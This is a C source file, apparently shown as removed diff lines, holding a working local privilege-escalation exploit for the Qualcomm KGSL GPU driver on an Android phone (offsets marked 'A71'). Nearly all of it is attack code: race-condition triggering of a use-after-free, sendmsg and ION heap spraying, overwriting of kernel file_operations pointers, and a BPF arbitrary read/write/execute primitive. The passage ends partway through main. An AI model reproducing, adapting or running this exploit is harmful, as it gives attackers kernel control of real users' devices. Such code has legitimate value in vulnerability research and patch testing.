-#include -#include -#include -#include -#include "kgsl_exploit.h" -#include - -//A71: -//dma_buf_fops - __bpf_prog_run32 -#define DMA_TO_BPF 0x16f2798 -//null_fops - __bpf_prog_run32 -#define NULL_TO_BPF 0x16c2700 -//__bpf_prog_run32 - __bpf_call_base -#define BPF_TO_BASE 0x18f8 - -#define SPRAY_1 1 -#define PIPE 1 - -#define DELAY 4000 -#define OBJ_SIZE 37 -#define NENTS 1 -#define NB_REALLOC_THREADS 8 -#define SYS_LEN 0x1000 -#define SYS_LEN_0 0xf000 -//between 320 -480 seems ok -#define REGIONS_LEN_1 (480 * 16) -#define REGIONS_LEN_2 (1024) -#define DMA_ADDRESS 0xfffbf000 -#define DMA_PAGES 64 -#define VMAS_LEN 50 -#define ORDER 26 -#define TRIGGER_THRESH 1000 -#define BOUNCE_LEN 64 -#define SLAB_LEN 5000 -#define CPU0 0 -#define CPU1 1 - -#ifdef DMA_SPRAY - #define MMAP_LEN 64 - #ifdef SPRAY_1 - #define G_REGION_LEN 4 - #else - #define G_REGION_LEN 3 - #endif -#else - #define MMAP_LEN 65 - #ifdef SPRAY_1 - #define G_REGION_LEN 2 - #else - #define G_REGION_LEN 1 - #endif -#endif - -static volatile size_t g_nb_realloc_thread_ready = 0; -static volatile size_t g_realloc_now = 0; -static volatile size_t g_trigger_now = 0; -static volatile size_t g_map_now = 0; -static volatile size_t g_import_now = 0; -static volatile size_t g_finished_read = 0; -static volatile size_t g_unlocked_read = 0; -static volatile char* g_ion_regions[G_REGION_LEN] = {0}; -static char* bounce_regions[BOUNCE_LEN]; -static int bounce_fds[BOUNCE_LEN]; -static char* ion_sys_regions[REGIONS_LEN_1 + REGIONS_LEN_2] = {0}; -static int ion_sys_fds[REGIONS_LEN_1] = {0}; -static int ion_sys_fds2[REGIONS_LEN_2] = {0}; -static long trigger_time = 0; -static unsigned long ion_addr = 0; -static unsigned long bpf_addr = 0; - -//-------eBPF program, from https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html ------------------------------------------------------- - -// 25. Copy an eBPF program to run into the ION buffer. A pointer to this program is passed -// to __bpf_prog_run32() as the second argument. -// -// This program will implement a very simple read/write/execute busy loop: it reads from -// the ION buffer to see if there's an operation ('r', 'w', or 'x') to run, reads the -// parameters from the ION buffer, and then executes the operation. -//operation -static int bpf_op_offset = 0x000; -//rw input address -static int bpf_rw_addr_offset = 0x008; -//output address -static int bpf_out_offset = 0x108; -//arguments offsets -static int bpf_arg0 = 0x10; -static int bpf_arg1 = 0x18; -static int bpf_arg2 = 0x20; -static int bpf_arg3 = 0x28; -static int bpf_arg4 = 0x30; - -//---------------------------------sendmsg heap spraying, from https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html --------------------------------- - -#define CPU_SETSIZE 1024 -#define __NCPUBITS (8 * sizeof (unsigned long)) -typedef struct -{ - unsigned long __bits[CPU_SETSIZE / __NCPUBITS]; -} cpu_set_t; - -#define CPU_SET(cpu, cpusetp) \ - ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS))) -#define CPU_ZERO(cpusetp) \ - memset((cpusetp), 0, sizeof(cpu_set_t)) - -void reset_globals() { - g_nb_realloc_thread_ready = 0; - g_realloc_now = 0; - g_trigger_now = 0; - g_map_now = 0; - g_import_now = 0; - g_finished_read = 0; - g_unlocked_read = 0; - for (int i = 0; i < G_REGION_LEN; i++) { - g_ion_regions[i] = 0; - } -} - -void migrate_to_cpu(int cpu_num) { - int syscallres; - pid_t pid = gettid(); - cpu_set_t cpu; - CPU_ZERO(&cpu); - CPU_SET(cpu_num, &cpu); - - syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu); - if (syscallres) - { - err(1, "Error in the syscall setaffinity"); - } -} - -static volatile char g_realloc_data[OBJ_SIZE]; - -int init_realloc_data(uint64_t dma_address, size_t length) { - struct cmsghdr *first; - struct scatterlist* scatter_view; - - first = (struct cmsghdr*) g_realloc_data; - first->cmsg_len = sizeof(g_realloc_data); - first->cmsg_level = 0; - - scatter_view = (struct scatterlist*) g_realloc_data; - for (int i = 0; i < NENTS; i++) { - scatter_view[i].length = length; - scatter_view[i].dma_length = length; - scatter_view[i].dma_address = dma_address; - } - return 0; -} - -struct realloc_thread_arg -{ - pthread_t tid; - int recv_fd; - int send_fd; - struct sockaddr_un addr; -}; - -int init_unix_sockets(struct realloc_thread_arg * rta) { - struct timeval tv; - static int sock_counter = 0; - - if (((rta->recv_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) || - ((rta->send_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0)) - { - perror("[-] socket"); - goto fail; - } - - memset(&rta->addr, 0, sizeof(rta->addr)); - rta->addr.sun_family = AF_UNIX; - sprintf(rta->addr.sun_path + 1, "sock_%x_%d", gettid(), ++sock_counter); - if (bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) - { - perror("[-] bind"); - goto fail; - } - - if (connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) - { - perror("[-] connect"); - goto fail; - } - - memset(&tv, 0, sizeof(tv)); - if (setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))) { - err(1, "setsockopt"); - } - - return 0; -fail: - printf("[-] failed to initialize UNIX sockets!\n"); - return -1; -} - -static void* realloc_thread(void *arg) -{ - struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg; - struct msghdr mhdr; - char buf[200]; - - // initialize msghdr - struct iovec iov = { - .iov_base = buf, - .iov_len = sizeof(buf), - }; - memset(&mhdr, 0, sizeof(mhdr)); - mhdr.msg_iov = &iov; - mhdr.msg_iovlen = 1; - - // the thread should inherit main thread cpumask, better be sure and redo-it! - migrate_to_cpu(CPU0); - - // make it block - while (sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0); - - if (errno != EAGAIN) - { - perror("[-] sendmsg"); - goto fail; - } - - // use the arbitrary data now - iov.iov_len = 16; // don't need to allocate lots of memory in the receive queue - mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer - mhdr.msg_controllen = sizeof(g_realloc_data); - - g_nb_realloc_thread_ready++; - - while (!g_realloc_now) // spinlock until the big GO! - ; - - // the next call should block while "reallocating" - if (sendmsg(rta->send_fd, &mhdr, 0) < 0) - { - perror("[-] sendmsg"); - goto fail; - } - printf("[+] REALLOC THREAD finished\n"); - return NULL; - -fail: - printf("[-] REALLOC THREAD FAILURE!!!\n"); - return NULL; -} - -int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs, uint64_t dma_address, size_t length) -{ - int thread = 0; - int ret = -1; - - if (init_realloc_data(dma_address, length)) - { - printf("[-] failed to initialize reallocation data!\n"); - goto fail; - } - printf("[+] reallocation data initialized!\n"); - - printf("[ ] initializing reallocation threads, please wait...\n"); - for (thread = 0; thread < nb_reallocs; ++thread) - { - if (init_unix_sockets(&rta[thread])) - { - printf("[-] failed to init UNIX sockets!\n"); - goto fail; - } - - if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0) - { - perror("[-] pthread_create"); - goto fail; - } - } - - while (g_nb_realloc_thread_ready < nb_reallocs) - sched_yield(); - - printf("[+] %lu reallocation threads ready!\n", nb_reallocs); - - return 0; - -fail: - printf("[-] failed to initialize reallocation\n"); - return -1; -} - -//------------------------ Specifics to trigger the bug------------------------------------- - -struct trigger_uaf_arg { - int fd; - unsigned int read; -}; - -void* trigger_uaf(void* arg) { - - migrate_to_cpu(CPU1); - struct trigger_uaf_arg* trigger_arg = (struct trigger_uaf_arg*)arg; - struct dma_buf_sync sync; - struct timeval start, end; - long micros_used, secs_used; - if (trigger_arg->read) { - sync.flags = DMA_BUF_SYNC_READ; - } else { - sync.flags = DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END; - } - sync.flags |= DMA_BUF_SYNC_USER_MAPPED; - while (!g_trigger_now); - for (int i = 0; i < DELAY; i++); - gettimeofday(&start, NULL); - ioctl(trigger_arg->fd, DMA_BUF_IOCTL_SYNC, (unsigned long)(&sync)); - gettimeofday(&end, NULL); - secs_used=(end.tv_sec - start.tv_sec); //avoid overflow by subtracting first - trigger_time = ((secs_used*1000000) + end.tv_usec) - (start.tv_usec); - printf("micros_used: %ld\n",trigger_time); - return NULL; -} - -void* read_pipe(void* arg) { - int buffer[80]; - - migrate_to_cpu(CPU1); - int fd = *((int*)arg); - read(fd, buffer, sizeof(buffer)); - g_unlocked_read = 1; - close(fd); - while(!g_finished_read); - return NULL; -} - -void* ion_map(void* arg) { - migrate_to_cpu(CPU0); - int fd = *((int*)arg); -#ifdef SPRAY_1 - while (!g_map_now); -#endif - for (int i = 0; i < G_REGION_LEN; i++) { - g_ion_regions[i] = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, i * 0x1000); - if (g_ion_regions[i] == MAP_FAILED) { - err(1, "ion region map %d failed", i); - } - } - return NULL; -} - -void* gpu_import(void* arg) { - migrate_to_cpu(CPU0); - struct kgsl_gpuobj_import* par = (struct kgsl_gpuobj_import*)arg; - int kgsl_fd = par->id; - par->id = 0; - while (!g_import_now); -#ifndef SPRAY_1 - for (int i = 0; i < G_REGION_LEN; i++) { - munmap((void*)(g_ion_regions[i]), 0x1000); - } -#endif - if (ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, par) < 0) { - err(1, "IOCTL_KGSL_GPUOBJ_IMPORT 2 failed.\n"); - } - return NULL; -} - -uint64_t compute_alignment(size_t power) { - return (uint64_t)((power << 16) & 0xFF0000); -} - -//Fill out kgsl memory so the next one will fail -void prepare_gpu_import(int kgsl_fd, uint64_t* regions) { - - for (int i = 0; i < MMAP_LEN - 1; i++) { - struct kgsl_gpuobj_import par; - struct kgsl_gpuobj_import_useraddr useraddr = {.virtaddr = regions[i]}; - par.flags = compute_alignment(ORDER); - par.priv = (uint64_t)(&useraddr); - par.type = KGSL_USER_MEM_TYPE_ADDR; - par.priv_len = 0x1000; - par.id = 0; - if (ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, &par) < 0) { - err(1, "IOCTL_KGSL_GPUOBJ_IMPORT %d\n", i); - } - } -} - -//-----------------------------------bounce buffer and buddy heap spraying-------------------- - -struct bounce_buffer_param { - int rpc_fd; - int ion_fd; - int process_fd; - int args_fd; - char* process_region; - char* args_region; - char* sys_region; - int null_fds[SLAB_LEN]; -}; - -void spray_system_heap(int ion_fd, struct bounce_buffer_param* param) { - //First round spraying, use large chunk up the memory pool. - for (int i = 0; i < REGIONS_LEN_1; i++) { - struct ion_allocation_data ion_alloc_data; - ion_alloc_data.len = SYS_LEN_0; - ion_alloc_data.flags = 1; - ion_alloc_data.heap_id_mask = ION_HEAP(25); - - if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) { - err(1, "ION_IOC_ALLOC bounce failed\n"); - } - ion_sys_fds[i] = ion_alloc_data.fd; - } - //Second round spraying, use single page so we can map it to bounce buffer. - for (int i = 0; i < REGIONS_LEN_2; i++) { - struct ion_allocation_data ion_alloc_data; - ion_alloc_data.len = SYS_LEN; - ion_alloc_data.flags = 1; - ion_alloc_data.heap_id_mask = ION_HEAP(25); - - if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) { - err(1, "ION_IOC_ALLOC bounce failed\n"); - } - ion_sys_fds2[i] = ion_alloc_data.fd; - } - - //Spray with null files to create new slab - for (int i = 0; i < SLAB_LEN; i++) { - param->null_fds[i] = open("/dev/null", 0); - } - - - //set the top and bottom as bounce regions - if (BOUNCE_LEN < 2) { - err(1, "bounce len has to be greater than or equal to 2\n"); - } - //Use region2 to map the rest of the bounce buffer. - for (int i = 0; i < BOUNCE_LEN; i++) { - if (i == 1) continue; - bounce_regions[i] = ion_sys_regions[i] = mmap(NULL, SYS_LEN, PROT_READ | PROT_WRITE, MAP_SHARED, ion_sys_fds2[REGIONS_LEN_2 - 1 - BOUNCE_LEN + i], 0); - if (bounce_regions[i] == MAP_FAILED) { - err(1, "bounce regions failed\n"); - } - bounce_fds[i] = ion_sys_fds2[REGIONS_LEN_2 - 1 - BOUNCE_LEN + i]; - } - //Last of region 1 should be below the new slab, map it to the first bounce region - bounce_regions[1] = ion_sys_regions[1] = mmap(NULL, SYS_LEN, PROT_READ | PROT_WRITE, MAP_SHARED, ion_sys_fds2[REGIONS_LEN_2 - 1], 0); - if (bounce_regions[1] == MAP_FAILED) { - err(1, "bounce regions failed\n"); - } - bounce_fds[1] = ion_sys_fds2[REGIONS_LEN_2 - 1]; -} - -void allocate_bounce_buffer(struct bounce_buffer_param* param) { - - int ion_fd = open("/dev/ion", O_RDONLY); - if (ion_fd == -1) { - err(1, "cannot open ion\n"); - } - - spray_system_heap(ion_fd, param); - int rpc_fd; - - int rpc_id = open("/dev/adsprpc-smd", 0); - if (rpc_id == -1) { - err(1, "cannot open rpc\n"); - } - printf("rpc opened\n"); - uint32_t info_ptr[1]; - info_ptr[0] = 3; - - if(ioctl(rpc_id, FASTRPC_IOCTL_GETINFO, info_ptr) < 0) { - err(1, "rpc getinfo failed\n"); - } - - for (int i = 0; i < BOUNCE_LEN; i++) { - struct remote_dma_handle dma = {.fd = bounce_fds[i], .offset = 0}; - union remote_arg args[1]; - args[0].dma = dma; - - struct fastrpc_ioctl_invoke invoke = {0}; - invoke.handle = 0x3; - invoke.sc = 16; - invoke.pra = &(args[0]); - unsigned int attrs = 16; - struct fastrpc_ioctl_invoke_attrs crc; - crc.inv = invoke; - crc.attrs = &attrs; - crc.fds = &(bounce_fds[i]); - ioctl(rpc_id, FASTRPC_IOCTL_INVOKE_ATTRS, &crc); - } - param->rpc_fd = rpc_fd; - param->ion_fd = ion_fd; - return; -} - -void sync_bounce_buffer(int read, int index) { - struct dma_buf_sync sync; - sync.flags = DMA_BUF_SYNC_RW; - if (read) { - sync.flags |= DMA_BUF_SYNC_END; - } - if (ioctl(bounce_fds[index], DMA_BUF_IOCTL_SYNC, (unsigned long)(&sync)) < 0) { - err(1, "error syncing bounce buffer %d\n", index); - } -} - -void sync_bounce_buffers(int read) { - printf("[+] syncing bounce buffers\n"); - for (int i = 0; i < BOUNCE_LEN; i++) { - sync_bounce_buffer(read, i); - } -} - -//----------------------------Utils for finding addresses and faking objects------------------------------------ - -//Fetch the pointer to the wait_list in struct file to calculate own address, then -//take away offset to calculate controlled ion buffer address. -unsigned long calculate_ion_addr(long offset, int region) { - long wait_list_offset = offset + 0x38; - long total_offset = wait_list_offset + (region - 2)* SYS_LEN; - unsigned long* wait_list_addr = (unsigned long*)(&(ion_sys_regions[region][wait_list_offset])); - printf("null file addr: %lx\n", *wait_list_addr); - return *wait_list_addr - total_offset - SYS_LEN; -} - -void overwrite_fops(int region, long offset, unsigned long ion_addr) { - unsigned long* fops_addr = (unsigned long*)(&(ion_sys_regions[region][offset])); - printf("overwrite fops %lx\n", fops_addr[1]); - fops_addr[1] = ion_addr; - return; -} -//overwrite file mode to allow lseek -void overwrite_fmode(int region, long offset) { - long fmode_offset = offset + 0x28; - unsigned int* fmode = (unsigned int*)(&(ion_sys_regions[region][fmode_offset])); - printf("overwrite fops %x\n", fmode[0]); - //Add fmode lseek - *fmode |= 0x4; - return; -} - -long search_null_fops(char* data, size_t len, unsigned long* result) { - size_t left = len; - char* curr = data; - unsigned long* curr_long; - //Observed pattern of a null file struct. These are right after the null_fops - const char null_pattern[32] = { - 0, 0, 0, 0, 0, 0, 0, 0, 0x1, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0x2, 0, 0x1d, 0, 0x2, 0, 0, 0, 0, 0, 0, 0, 0, 0 - }; - - while (left) { - if (left >= 64) { - //match - if (!memcmp(curr + 16, &(null_pattern[0]), 32)) { - curr_long = (unsigned long*)curr; - *result = curr_long[1]; - if ((*result >> 48) == 0xffff) { - return curr - data; - } - } - } - curr += 16; - left -= 16; - } - return -1; -} - -long search_dma_fops(char* data, size_t len, unsigned long* result) { - size_t left = len; - char* curr = data; - unsigned long* curr_long; - //Observed pattern of a dma file struct. These are right after the dma_fops - const char dma_pattern[32] = { - 0, 0, 0, 0, 0, 0, 0, 0, 0x1, 0, 0, 0, 0, 0, 0, 0, - 0x2, 0, 0, 0, 0x7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 - }; - - while (left) { - if (left >= 64) { - //match - if (!memcmp(curr + 16, &(dma_pattern[0]), 32)) { - curr_long = (unsigned long*)curr; - *result = curr_long[1]; - if ((*result >> 48) == 0xffff) { - return curr - data; - } - } - } - curr += 16; - left -= 16; - } - return -1; -} - -int find_null_fops() { - unsigned long null_fops; - for (int i = 2; i < BOUNCE_LEN; i++) { - if (ion_sys_regions[i] != 0) { - long offset = search_null_fops(&(ion_sys_regions[i][0]), SYS_LEN, &null_fops); - if (offset != -1) { - printf("[+] Found null_fops at %d region offset %ld %lx\n", i, offset, null_fops); - ion_addr = calculate_ion_addr(offset, i); - bpf_addr = null_fops - NULL_TO_BPF; - printf("[+] ion region location: %lx\n", ion_addr); - printf("[+] bpf addr: %lx\n", bpf_addr); - overwrite_fops(i, offset, ion_addr); - overwrite_fmode(i, offset); - return i; - } - } - } - printf("[-] Failed to find null_fops\n"); - return -1; -} - -int find_dma_fops() { - unsigned long dma_fops; - for (int i = 2; i < BOUNCE_LEN; i++) { - if (ion_sys_regions[i] != 0) { - long offset = search_dma_fops(&(ion_sys_regions[i][0]), SYS_LEN, &dma_fops); - if (offset != -1) { - printf("[+] Found dma_buf_fops at %d region offset %ld %lx\n", i, offset, dma_fops); - ion_addr = calculate_ion_addr(offset, i); - bpf_addr = dma_fops - DMA_TO_BPF; - printf("[+] ion region location: %lx\n", ion_addr); - printf("[+] bpf addr: %lx\n", bpf_addr); - overwrite_fops(i, offset, ion_addr); - overwrite_fmode(i, offset); - return i; - } - } - } - printf("[-] Failed to find dma_buf_fops\n"); - return -1; -} - -void dump_memory(int i) { - char name[64]; - snprintf(name, sizeof(name), "/data/local/tmp/mem_dump/mem_dump%u.bin", i); - - FILE* fptr = fopen(name, "wb"); - if (fptr == NULL) { - err(1, "error open dump file\n"); - } - - for (int i = 2; i < 64; i++) { - if (ion_sys_regions[i] != 0) { - fwrite(&(ion_sys_regions[i][0]), SYS_LEN, 1, fptr); - } - } - - fclose(fptr); -} - -//----------------------------------------------exploit part----------------------------------------- - -void do_one_rw(uint64_t dma_address, size_t length, uint64_t* regions, char* ion_region, int* ion_alloc_fds, unsigned int read) { - struct realloc_thread_arg rta[NB_REALLOC_THREADS]; - memset(rta, 0, sizeof(rta)); - if (init_reallocation(rta, NB_REALLOC_THREADS, dma_address, length)) { - err(1, "[-] failed to initialize reallocation!\n"); - } - - int kgsl_fd; - - kgsl_fd = open("/dev/kgsl-3d0", 0); - if (kgsl_fd == -1) { - err(1, "cannot open kgsl\n"); - } - - prepare_gpu_import(kgsl_fd, regions); - - struct kgsl_gpuobj_import par; - struct kgsl_gpuobj_import_useraddr useraddr = {.virtaddr = (uint64_t)ion_region}; - par.flags = 0x1F0000; - par.type = KGSL_USER_MEM_TYPE_ADDR; - par.priv_len = 0x1000; - par.priv = (uint64_t)(&useraddr); - par.id = 0; - - pthread_t trigger_tid; - struct trigger_uaf_arg arg = {.fd = ion_alloc_fds[0], .read = read}; - - if (pthread_create(&trigger_tid, NULL, trigger_uaf, &arg) != 0) { - err(1, "[-] pthread_create trigger"); - } - int pipe_write[PIPE]; - for (int i = 0; i < PIPE; i++) { - int pipe_fd[2]; - pipe(pipe_fd); - - pthread_t rw_tid; - if (pthread_create(&rw_tid, NULL, read_pipe, &(pipe_fd[0])) != 0) { - err(1, "[-] pthread_create read"); - } - pipe_write[i] = pipe_fd[1]; - struct sched_param sched_par = {0}; - - if (pthread_setschedparam(rw_tid, SCHED_NORMAL, &sched_par) != 0) { - err(1, "[-] set priority for rw failed\n"); - } - } - - struct kgsl_gpuobj_import par2; - par2.flags = 0x1000; - par2.priv_len = 0x1000; - par2.id = kgsl_fd; -#ifdef DMA_SPRAY - struct kgsl_gpuobj_import_dma_buf buf = {.fd = ion_alloc_fds[2]}; - par2.type = KGSL_USER_MEM_TYPE_DMABUF; - par2.priv = (uint64_t)(&buf); -#else - struct kgsl_gpuobj_import_useraddr useraddr2 = {.virtaddr = regions[MMAP_LEN - 1]}; - par2.type = KGSL_USER_MEM_TYPE_ADDR; - par2.priv = (uint64_t)(&useraddr2); -#endif - - struct sched_param sched_par = {0}; - - if (pthread_setschedparam(trigger_tid, SCHED_IDLE, &sched_par) != 0) { - err(1, "[-] set priority for trigger failed\n"); - } - - - char write_char; - write_char = 'a'; - - migrate_to_cpu(CPU0); - - pthread_t import_tid; - if (pthread_create(&import_tid, NULL, gpu_import, &par2) != 0) { - err(1, "[-] pthread gpu_import"); - } -#ifdef SPRAY_1 - pthread_t ion_map_tid; - if (pthread_create(&ion_map_tid, NULL, ion_map, &(ion_alloc_fds[1])) != 0) { - err(1, "[-] pthread_create ion_map"); - } -#endif - sleep(1); -#ifndef SPRAY_1 - ion_map(&(ion_alloc_fds[1])); -#endif - - ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, &par); -#ifdef SPRAY_1 - g_map_now = 1; - sched_yield(); - sleep(1); - while (!g_ion_regions[G_REGION_LEN - 1]); - for (int i = 0; i < G_REGION_LEN; i++) { - munmap((void*)(g_ion_regions[i]), 0x1000); - } -#endif - g_import_now = 1; - sched_yield(); - sleep(1); - - struct kgsl_gpumem_free_id id = {.id = par2.id}; - - g_trigger_now = 1; - for (int i = 0; i < PIPE; i++) { - write(pipe_write[i], &write_char, 1); - } - while (!g_unlocked_read); - ioctl(kgsl_fd, IOCTL_KGSL_GPUMEM_FREE_ID, &id); - g_realloc_now = 1; - sched_yield(); // don't run me, run the reallocator threads! - sleep(5); - g_finished_read = 1; - - close(kgsl_fd); - struct msghdr mhdr; - unsigned int size = 0; - for (int i = 0; i < NB_REALLOC_THREADS; i++) { - while (size == 0) { - if ((size = recvmsg(rta[i].recv_fd, &mhdr, MSG_DONTWAIT)) < 0) { - err(1, "receive"); - } - } - size = 0; - } - if (trigger_time < TRIGGER_THRESH) { - printf("[-] Failed to win the race\n"); - } else { - printf("[+] Read/Write operation succeeded\n"); - } - for (int i = 0; i < PIPE; i++) { - close(pipe_write[i]); - } - reset_globals(); -} - -size_t compute_ion_region_size() { - return (1 << ORDER) - 0x1000 * (VMAS_LEN + 2); -} - -int init_tmp_region(int ion_fd, char** tmp_ion_regions, char** ion_region) { - int ion_alloc_fd = -1; - - struct ion_allocation_data ion_alloc_data; - ion_alloc_data.len = 1 << ORDER; - ion_alloc_data.flags = 1; - ion_alloc_data.heap_id_mask = ION_HEAP(25); - - if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) { - err(1, "ION_IOC_ALLOC 1 failed\n"); - } - - ion_alloc_fd = ion_alloc_data.fd; - if (ion_alloc_data.len < 0x1000 * (VMAS_LEN + 2)) { - err(1, "VMAS_LEN too large\n"); - } - - size_t ion_region_size0 = compute_ion_region_size(); - - tmp_ion_regions[0] = mmap(NULL, ion_region_size0, PROT_READ | PROT_WRITE, MAP_SHARED, ion_alloc_data.fd, 0x1000); - if (tmp_ion_regions[0] == MAP_FAILED) { - err(1, "map failed tmp region 0"); - } - - *ion_region = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, ion_alloc_data.fd, 0x2000); - if (ion_region == MAP_FAILED) { - err(1, "map failed"); - } - - for (int i = 0; i < VMAS_LEN; i++) { - tmp_ion_regions[i + 1] = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, ion_alloc_data.fd, ion_alloc_data.len - 0x1000 * (VMAS_LEN - i)); - if (tmp_ion_regions[i + 1] == MAP_FAILED) { - err(1, "map tmp failed %d", i); - } - } - return ion_alloc_fd; -} - -int main() { - setbuf(stdout, NULL); - setbuf(stderr, NULL); - int ion_alloc_fds[3]; - - struct bounce_buffer_param p; - allocate_bounce_buffer(&p); - - uint64_t regions[MMAP_LEN]; - for (int i = 0; i < MMAP_LEN; i++) { - regions[i] = (uint64_t)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); - if ((void*)(regions[i]) == MAP_FAILED) { - err(1, "mmap %d failed", i); - } - } - - char* ion_region; - char* tmp_ion_regions[VMAS_LEN + 1]; - - int ion_fd = open("/dev/ion", O_RDONLY); - if (ion_fd == -1) { - err(1, "cannot open ion\n"); - } - - struct ion_allocation_data ion_alloc_data2; - ion_alloc_data2.len = 0x1000 * G_REGION_LEN; - ion_alloc_data2.flags = 1; - ion_alloc_data2.heap_id_mask = ION_HEAP(19); - - if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data2) < 0) { - err(1, "ION_IOC_ALLOC 2 failed\n"); - } - - ion_alloc_fds[1] = ion_alloc_data2.fd; -#ifdef DMA_SPRAY - struct ion_allocation_data ion_alloc_data3; - ion_alloc_data3.len = 0x1000 * NENTS; - ion_alloc_data3.flags = 1; - ion_alloc_data3.heap_id_mask = ION_HEAP(25); - - if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data3) < 0) { - err(1, "ION_IOC_ALLOC failed bounce 1\n"); - } - ion_alloc_fds[2] = ion_alloc_data3.fd; -#endif - size_t ion_region_size0 = compute_ion_region_size(); - for (int i = 0; i < 5; i++) { - ion_alloc_fds[0] = init_tmp_region(ion_fd, &(tmp_ion_regions[0]), &ion_region); - do_one_rw(DMA_ADDRESS, SYS_LEN * BOUNCE_LEN, regions, ion_region, &(ion_alloc_fds[0]), 0); - sleep(1); - sync_bounce_buffers(0); - - printf("done read %d\n", i); - if (trigger_time > TRIGGER_THRESH) { -#ifdef DEBUG_MEM_DUMP - dump_memory(i); -#endif - int null_region_index = find_null_fops(); - int dma_region_index = find_dma_fops(); - int region_index = -1; - enum region_type type; - if (null_region_index != -1 && dma_region_index != -1) { - if (null_region_index < dma_region_index) { - region_index = null_region_index; - type = null; - } else { - region_index = dma_region_index; - type = dma; - } - - } else if (null_region_index != -1) { - region_index = null_region_index; - type = null; - } else if (dma_region_index != -1) { - region_index = dma_region_index; - type = dma; - } - - if (region_index != -1) { - if (region_index < 2) { - err(1, "region index calculation error\n"); - } - unsigned long* fops = (unsigned long*)(&(ion_sys_regions[1][0])); - for (int i = 0; i < 10; i++) { - fops[i] = bpf_addr; - } - sync_bounce_buffers(1); - unsigned long bpf_data_address = ion_addr + 2048; - unsigned long __bpf_call_base = bpf_addr - BPF_TO_BASE; - unsigned long* bpf_data = (unsigned long*)(&(ion_sys_regions[1][2048])); - trigger_time = 0; -//-------BPF program, from https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html ------------------------------------------------------- - //bpf program to run - struct bpf_insn insn[] = { - // Load base address. - /* 0 */ BPF_LD_IMM64(BPF_REG_6, bpf_data_address), - - // Load R7 = (in:data + 0); this is the operation to perform. - /* 2 */ BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, bpf_op_offset), - - // Check if this operation is 'r'. - /* 3 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'r', +4), - // Load R1 = *(in:data + 8); this is the read address. - /* 4 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_rw_addr_offset), - // Load R1 = *R1. - /* 5 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_1, 0), - // Store *(out:data + 8) = R1. - /* 6 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, bpf_out_offset), - // Done. - /* 7 */ BPF_JMP_A(13), - - // Check if this operation is 'w'. - /* 8 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'w', +4), - // Load R1 = *(in:data + 8); this is the write address. - /* 9 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_rw_addr_offset), - // Load R2 = *(in:data + 10); this is the value to write. - /* 10 */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, bpf_arg0), - // Store *R1 = R2. - /* 11 */ BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0), - // Done. - /* 12 */ BPF_JMP_A(8), - - // Check if this operation is 'x'. - /* 13 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'x', +7), - // Load R1 = *(in:data + 10); this is the first argument. - /* 14 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_arg0), - // Load R2 = *(in:data + 18); this is the second argument. - /* 15 */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, bpf_arg1), - // Load R3 = *(in:data + 20); this is the third argument. - /* 16 */ BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_6, bpf_arg2), - // Load R4 = *(in:data + 28); this is the fourth argument. - /* 17 */ BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_6, bpf_arg3), - // Load R5 = *(in:data + 30); this is the fifth argument. - /* 18 */ BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_6, bpf_arg4), - // Call R0 = function(R1, R2, R3, R4, R5). This call gets patched. - /* 19 */ BPF_EMIT_CALL(__bpf_call_base - 4), - // Store *(out:data + 8) = R0. - /* 20 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x108), - // Done. Fallthrough. - - // Store *(out:data + 0) = R7, i.e., record the operation that we just executed. - /* 21 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0x100), - }; 